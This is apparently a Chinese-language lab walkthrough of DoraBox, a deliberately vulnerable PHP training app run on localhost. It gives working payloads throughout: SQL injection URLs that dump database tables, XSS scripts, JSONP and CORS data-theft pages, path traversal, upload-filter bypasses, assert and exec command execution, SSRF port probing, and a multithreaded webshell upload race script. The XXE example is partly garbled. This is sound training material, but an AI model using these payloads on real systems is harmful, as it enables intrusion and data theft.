项目地址:
https://github.com/gh0stkey/DoraBox
SQL注入
SQLi 数字型
判断表中有多少列
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=1%20order%20by%201&submit=submit
依次增大order by 后面的值,直到报错,报错的前一个数为字段数
可以确定union注入的字段为3,此时我们构造注入语句
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,2,3&submit=submit
可以看到2,3列是显示出来的,所以在这两处插入注入语句
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,concat(user(),%27|%27,database()),3&submit=submit
确定数据库为pentest以后,去暴出表名
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()&submit=submit
确定表名以后,去暴出列名
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27account%27&submit=submit
根据之前的列名和表名,可构造查询字段内容
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION SELECT 1,2,concat_ws('|',id,rest,own) from account&submit=submit
SQLi 字符型
字符型与数字型的区别在于变量是否用单引号包裹,当不闭合单引号时,没有查询结果。
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox%20and%201=1&submit=submit
闭合单引号,成功执行插入的语句
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='1&submit=submit
接下来的操作,与数字型相同,只需要记得需要闭合单引号
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox' and '1'='2' union select 1,2,3'&submit=submit
剩下的与数字型相同
SQLi 搜索型
搜索型同时包含单引号和百分号,都需要闭合
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%27%20and%20%271%27=%271&submit=submit
这里引入了注释符,避免受到后面%‘影响
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=1--+&submit=submit
构造显示显性字段
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,2,3--+&submit=submit
接下来,如同前两种一样,暴出数据信息。
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%' and 1=2 union select 1,concat_ws('|',id,title,content),3 from news--+&submit=submit
XSS跨站
XSS 反射型
xss反射型,输入的代码经过服务器端处理后返回页面,造成代码执行。
http://127.0.0.1/DoraBox/xss/reflect_xss.php?name=%3Cscript%3Ealert(/reflect_xss/)%3C/script%3E&submit=submit
这时候我们注意到页面先是返回了string(37) “ 然后执行了注入代码。
那么为什么会返回这个呢,我们看下源码
DoraBox\xxs\reflect_xss.php
下面说一下我的理解,$p 创建了一个对象Func,方法是GET,参数是name,$p -> con_html生成表单,也就是我们一开始看到的页面。
关键的是echo $p -> con_function('var_dump',$name);,这里con_function是作者造的回调函数,作用是执行作者传参进去的内容,当相应的函数执行。
那么con_function('var_dump',$name) 的作用等价于var_dump($name),var_dump在处理字符串的时候会以如下形式string(字符串长度) "字符串内容"。
DoraBox\class\function.class.php
XSS 存储型
存储型xss作者设计的很有意思,采用直接向当前页面追加内容的方式实现的,也就是说,如果你测试很多次的话,这个页面会越来越大。
所以在name输入框提交,再次刷新页面即可触发注入代码。
根据上面得分析,能理解这段代码执行了file_put_contents(__FILE__,$name,FILE_APPEND)采用追加的方式写入当前页面。
XSS DOM型
http://127.0.0.1/DoraBox/xss/dom_xss.php?name=%3Cscript%3Ealert(%2FDOM_xss%2F)%3C%2Fscript%3E&submit=submit
进行这个xss学习的时候,可以发送,xss代码执行后没有在源码显示出来,这可能就是DOM型xss的特点
var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
(^| )代表开始
( |$)代表结束
以&或者$结尾的字符串
这个正则是寻找&+url参数名字=值+&
&可以不存在。
window.location.search.substr(1).match(reg);
(1) location是包含了相关的url的信息,它是windown的一部分。
(2) search是一个可以查询的属性,可以查询?之后的部分。
(3) substr(1)是为了去掉第一个?
(4) match()是你要匹配的部分 后面可以是正则表达式。
(5) return unescpe(r[2]) 返回的值 一个数组。
(6) 这里是开始匹配,找到了返回对应url值,没找到返回null。
后面的document.write 实际上就是DOM的写方法,把输入的内容写出来
CSRF
JSONP劫持
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签,远程调用 JSON 文件来实现数据传递。
当某网站听过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。
直接访问链接,页面返回json格式的数据。
http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test
那么劫持后应该是可以在其他域下获得受害者的json信息,下面构造一个劫持页面,将劫持的信息,alert出来
DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试title>
head>
<body>
<script type="text/javascript">
function test(result)
{
alert(result.address);
}
script>
<script type="text/javascript" src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test">script>
body>
html>
成功获得了json中的address内容
这个是作者提供的POC,在POC目录里面,可以获取全部内容
<script>function vulkey(data){alert(JSON.stringify(data));}script> <script src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=vulkey">script>
CORS跨域资源读取
跨源资源共享 (CORS) 定义了在一个域中加载的客户端 Web 应用程序与另一个域中的资源交互的方式,需要浏览器和服务器共同支持才能实现。
可以看到其源码就是Access-Control-Allow-*系列,这个就是CORS的配置
下面就可以构造页面获取信息
DOCTYPE html>
<html>
<body>
div id="demo">
<button type="button" onclick="cors()">Exploitbutton>
div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "http://127.0.0.1/DoraBox/csrf/userinfo.php", true);
xhttp.withCredentials = true;
xhttp.send();
}
script>
body>
html>
成功获取到了数据
文件包含
任意文件包含
如果有看源码的习惯的话,应该能注意到作者已经准备好了一个txt.txt
代码中使用include 直接包含的,所以可以之前读取
http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit
可以成功包含执行了txt.txt的php代码
目录限制文件包含
实际上这个与上一个的区别不大,区别就在加了一个./,感觉没什么影响
这里我包含了phpstudy目录里面的phpinfo.php
http://127.0.0.1/DoraBox/file_include/include_1.php?file=../../phpinfo.php&submit=submit
文件上传
任意文件上传
第一个没什么可说的,任意文件上传,随便传就行
JS限制文件上传
前端限制后缀名,上传jpg文件,拦包改后缀绕过
这里可以看到成功上传
MIME限制文件上传
上传php文件,显示类型不正确,实际上MIME验证就是检测Content-type字段值的,直接更改上传数据包中的Content-type即可绕过
修改Content-type值为图片的格式(image/jpeg),成功绕过
扩展名限制文件上传
采用后端验证后缀名的方式,这个方式有很多,但是会有环境限制,实际环境中需要进行测试使用
服务端扩展名验证绕过方法:
1、找黑名单扩展名的漏网之鱼 - 比如上面就漏掉了 asa 和 cer 之类
2、可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
3、特别文件名构造 - 比如发送的 http 包里把文件名改成 help.asp. 或 help.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改, 然后绕过验证后,会被 windows 系统自动去掉后面的点和空格。
4、IIS 或 nginx 文件名解析漏洞
比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php
这里注意网上所谓的 nginx 文件名解析漏洞实际上是 php-fpm 文件名解析漏洞,详见 http://www.cnbeta.com/articles/111752.htm
5、0x00 截断绕过 - 这个是基于一个组合逻辑漏洞造成的
6、双扩展名解析绕过攻击(1) - 基于 web 服务的解析逻辑
比如上传x.php.rar等文件
7、双扩展名解析绕过攻击(2) - 基于 web 服务的解析方式
如果在 Apache 的 conf 里有这样一行配置
AddHandler php5-script .php
这时只要文件名里包含.php
即使文件名是 test2.php.jpg 也会以 php 来执行
针对本文的代码,最简单的就是使用更改大小写上传即可,或者使用上面的多种方法测试。
本例中,我用的.asp.的方式,成功绕过上传的
内容限制文件上传
同样
文件上传过程中图像大小及相关信息检测,通常我们会使用getimagesize()函数,此函数会返回一个数组。
Array
(
[0] => 2573
[1] => 16188
[2] => 1
[3] => width="2573" height="16188"
[channels] => 3
[mime] => image/gif
)
使用getimagesize()函数检测,会判断文件是否是一个有效的图片文件,如果不是则会报错,我们可以使用文件头欺骗来绕过。
利用copy命令合成一个图片马,上传
也可以直接添加图片文件头的方式绕过
代码/命令执行
任意代码执行
利用assert任意代码执行……,分明就是一个webshell呀
http://127.0.0.1/DoraBox/code_exec/code.php?code=phpinfo();&submit=submit
好了,下面我要表演自己黑自己了…
成功连接上了code.php
任意命令执行
利用exec命令执行
http://127.0.0.1/DoraBox/code_exec/exec.php?command=whoami&submit=submit
有回显,没什么可说的。
SSRF
SSRF
http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://www.baidu.com/img/bd_logo1.png&submit=submit
这里执行一个对端口的请求,显示计算机拒绝,可以用了判断端口开放
http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://127.0.0.1:6789&submit=submit
其他
条件竞争-支付
这个不太理解作者的目的,我认为作者条件竞争的地方可能在于钱数加减这里,但是作者这个逻辑是希望只减钱不加钱还是什么情况不大理解。
1、 查看程序逻辑,查询打印出account中,rest和own字段
2、 判断提交的钱数是否小于拥有的钱数,小于则执行查询完成支付交易
3、 大于则弹出支付失败
再来看作者的POC,作者起了25个线程,一共提交50次1块钱
运行程序后,交易正常执行,不知漏洞处在哪里了
条件竞争-上传
上传这块的条件竞争比较明显,程序逻辑处理是先将文件上传上来,然后检查后缀,后缀不在允许列表里,删除文件
而竞争的地方,是先删除还是先执行,关键就在于赶在删除之前执行上传的文件
这是我们上传的内容,打开info.php 写入一句话木马
'); ?>
通过并发可以实现在上传成功未执行到删除代码的时候,访问执行,生成info.php
下面是利用作者得POC
import requests import threading import os class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = 'http://127.0.0.1/DoraBox/race_condition/uploads/key.php' #上传的文件地址 self.uploadUrl = 'http://127.0.0.1/DoraBox/race_condition/upload.php' #上传文件的地址 def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print('[*] create file info.php success.') os._exit(0) def _upload(self): print('upload file...') file = {'myfile': open('key.php', 'r')} #本地脚本木马 requests.post(self.uploadUrl, files=file) def run(self): while True: for i in range(10): self._upload() self._get() if __name__ == '__main__': threads = 50 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()
任意文件读取
与文件包含的不同在于这个不能执行,只能读取内容
http://127.0.0.1/DoraBox/others/file_read.php?filename=..%2Frace_condition%2Fkey.php&submit=submit
XXE
xxe的原理总是整不明白,就知道是通过引入外部实体来进行脚本执行和文件读取
问题出在对xml的解析上面,我利用之前积累的代码测试几次都不成功--!
后来我看到原作者的操作,成功复现了,但是原理方面还需要在理解理解
DOCTYPE a [
>
]>
<user><username>&xxe;username><password>adminpassword>user>